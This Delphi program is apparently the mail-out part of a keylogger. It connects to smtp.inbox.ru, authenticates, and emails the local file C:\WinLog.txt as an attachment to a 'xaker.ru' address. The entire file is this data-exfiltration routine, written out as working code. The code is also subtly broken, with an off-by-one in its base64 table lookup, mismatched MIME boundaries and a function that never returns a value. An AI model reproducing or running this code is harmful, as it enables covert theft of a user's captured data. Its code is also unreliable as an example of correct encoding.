program Project2;
uses
  Windows,
  WinSock,
  Dialogs,
  SysUtils;
const
  TimeOut = 10;
type
  TAByte = array [0..maxInt-1] of byte;
  TPAByte = ^TAByte;
  TARR = array of string;
const
  CtrlF = #13#10;
var
  WSA:TWSAData;
  MailSocket:TSocket;
  SMTPServer:TSockAddr;
  k,r:integer;
  mBody:TARR;
  s:string;
const
   b64 : array [0..63] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function B64Encode(data:string) : string; overload;
var
  ic,len : integer;
  pi, po : TPAByte;
  c1 : dword;
begin
  len:=length(data);
  if len > 0 then
    begin
      SetLength(result, ((len + 2) div 3) * 4);
      pi := pointer(data);
      po := pointer(result);
      for ic := 1 to len div 3 do
        begin
          c1 := pi^[0] shl 16 + pi^[1] shl 8 + pi^[2];
          po^[0] := byte(b64[(c1 shr 18) and $3f]);
          po^[1] := byte(b64[(c1 shr 12) and $3f]);
          po^[2] := byte(b64[(c1 shr 6) and $3f]);
          po^[3] := byte(b64[(c1 ) and $3f]);
          inc(dword(po), 4);
          inc(dword(pi), 3);
        end;
      case len mod 3 of
        1:
          begin
            c1 := pi^[0] shl 16;
            po^[0] := byte(b64[(c1 shr 18) and $3f]);
            po^[1] := byte(b64[(c1 shr 12) and $3f]);
            po^[2] := byte('=');
            po^[3] := byte('=');
          end;
        2 :
          begin
            c1 := pi^[0] shl 16 + pi^[1] shl 8;
            po^[0] := byte(b64[(c1 shr 18) and $3f]);
            po^[1] := byte(b64[(c1 shr 12) and $3f]);
            po^[2] := byte(b64[(c1 shr 6) and $3f]);
            po^[3] := byte('=');
          end;
      end;
    end
  else
    result := '';
end;
function _Server(host: string): TInAddr;
var
  HostEnt: PHostEnt;
  InAddr: TInAddr;
begin
  HostEnt := gethostbyname(PChar(host));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
    begin
      with InAddr, HostEnt^ do
        begin
          S_un_b.s_b1 := h_addr^[0];
          S_un_b.s_b2 := h_addr^[1];
          S_un_b.s_b3 := h_addr^[2];
          S_un_b.s_b4 := h_addr^[3];
        end;
    end;
  Result := InAddr;
end;

function SMTPRecvReply(MailSocket:TSocket):string;
var
  t: integer;
  Buffer:Array[0..255] of char;
begin
  ZeroMemory(@Buffer,256);
  t:=GetTickCount;
    repeat
    until
      (Recv(MailSocket,Buffer,SizeOf(Buffer),0)>0)or(GetTickCount - t >= TimeOut);
  result := buffer+CTRLF;
end;
procedure SMTPSendString(MailSocket:TSocket;Str:string);
var
  Buffer:Array[0..255] of char;
  s:Array[0..255] of string;
begin
  inc(k);
  StrPCopy(Buffer,Str);
  Send(MailSocket,Buffer,length(Str),0);
  s[k]:=SMTPRecvReply(MailSocket);
end;
procedure Base64Send(FileName: string);
var
 afile: File;
 i:     longint;
 quads: integer;
 b:     array[0..2279] of byte;
 j,k,l,m:integer;
 stream:string[76];
begin
 AssignFile(afile,filename);
 Reset(afile,1);
 SMTPSendString(mailsocket, '--========sdfgsagg======'+ CTRLF);
 SMTPSendString(mailsocket, 'Content-Type: application/octet-stream; name="'+ExtractFileName(FileName)+'"'+ CTRLF);
 SMTPSendString(mailsocket, 'Content-Transfer-Encoding: base64'+ CTRLF);
 SMTPSendString(mailsocket, 'Content-Disposition: attachment; filename="'+ExtractFileName(FileName)+'"'+ CTRLF);
 SMTPSendString(mailsocket, 'Content-Description: attachment'+ CTRLF);
 SMTPSendString(mailsocket, ''+ CTRLF);
 stream:='';
 quads:=0;
 j:=Filesize(afile) div 2280;
 for i:=1 to j do
  begin
   BlockRead(afile,b,2280);
   for m:=0 to 39 do
    begin
     for k:=0 to 18 do
      begin
       l:=57*m+3*k;
       stream[quads+1]:=b64[(b[l]div 4)+1];
       stream[quads+2]:=b64[(b[l] mod 4)*16 +(b[l+1] div 16)+1];
       stream[quads+3]:=b64[(b[l+1] mod 16)*4 +(b[l+2] div 64)+1];
       stream[quads+4]:=b64[b[l+2] mod 64+1];
       Inc(quads,4);

       if quads=76 then
        begin
         stream[0]:=#76;
         SMTPSendString(mailsocket, stream);
         quads:=0;
        end;
      end;
    end;
  end;

 j:=(Filesize(afile) mod 2280) div 3;

 for i:=1 to j do
  begin
   BlockRead(afile,b,3);
   stream[quads+1]:=b64[(b[0]div 4)+1];
   stream[quads+2]:=b64[(b[0] mod 4)*16 +(b[1] div 16)+1];
   stream[quads+3]:=b64[(b[1] mod 16)*4 +(b[2] div 64)+1];
   stream[quads+4]:=b64[b[2] mod 64+1];
   Inc(quads,4);

   if quads=76 then
    begin
     stream[0]:=#76;
     SMTPSendString(mailsocket, stream);
     quads:=0;
    end;
  end;

 if (Filesize(afile) mod 3) = 2 then
  begin
   BlockRead(afile,b,2);
   stream[quads+1]:=b64[(b[0]div 4)+1];
   stream[quads+2]:=b64[(b[0] mod 4)*16 +(b[1] div 16)+1];
   stream[quads+3]:=b64[(b[1] mod 16)*4 +1];
   stream[quads+4]:='=';
   Inc(quads,4);
  end;

 if (Filesize(afile) mod 3) = 1 then
  begin
   BlockRead(afile,b,1);
   stream[quads+1]:=b64[(b[0]div 4)+1];
   stream[quads+2]:=b64[(b[0] mod 4)*16 +1];
   stream[quads+3]:='=';
   stream[quads+4]:='=';
   Inc(quads,4);
  end;
 stream[0]:=Chr(quads);

 if quads>0 then
  SMTPSendString(mailsocket, stream);

 CloseFile(afile);
end;


function StrPCopy(Dest: PChar; const Source: string): PChar;
begin
  Result := StrLCopy(Dest, PChar(Source), Length(Source));
end;

function Mailik(smtp:string;port:integer;login:string;pass:string;from:string;dest:string;FileName: string):boolean;     
var
  i: integer;
begin
  WSAStartup(MAKEWORD(1,0),WSA);
  MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP    );
  ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
  SMTPServer.sin_family:=AF_INET;
  SMTPServer.sin_port:=htons(25);
  SMTPServer.sin_addr:=_Server(smtp);
  if Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))=    0 then
    begin
      SMTPSendString(mailsocket,'EHLO server '+ CTRLF);
      SMTPSendString(mailsocket,'AUTH LOGIN ' + CTRLF + b64encode(login) + CTRLF + b64encode(pass) + CTRLF);
      SMTPSendString(mailsocket,'MAIL FROM:' + from + CTRLF + 'RCPT TO:' + dest + CTRLF);
      SMTPSendString(mailsocket,'DATA' + CTRLF);
      SMTPSendString(mailsocket, 'TESTING7777hello'+ CTRLF); 
      SMTPSendString(mailsocket, '----------dasdsadsui--------'+ CTRLF);
      Base64Send(FileName);
      SMTPSendString(mailsocket, '----------dasdsadsui--------'+ CTRLF);
      SMTPSendString(mailsocket,''+ CTRLF);

      SMTPSendString(mailsocket,'.'+CTRLF+'QUIT'+CTRLF);
 end;
  CloseSocket(MailSocket);
  WSACleanup;
end;
begin
 mailik('smtp.inbox.ru',25,'prog','xxxxxx','progr@inbox .ru','kod@xaker.ru','C:\WinLog.txt');    
end.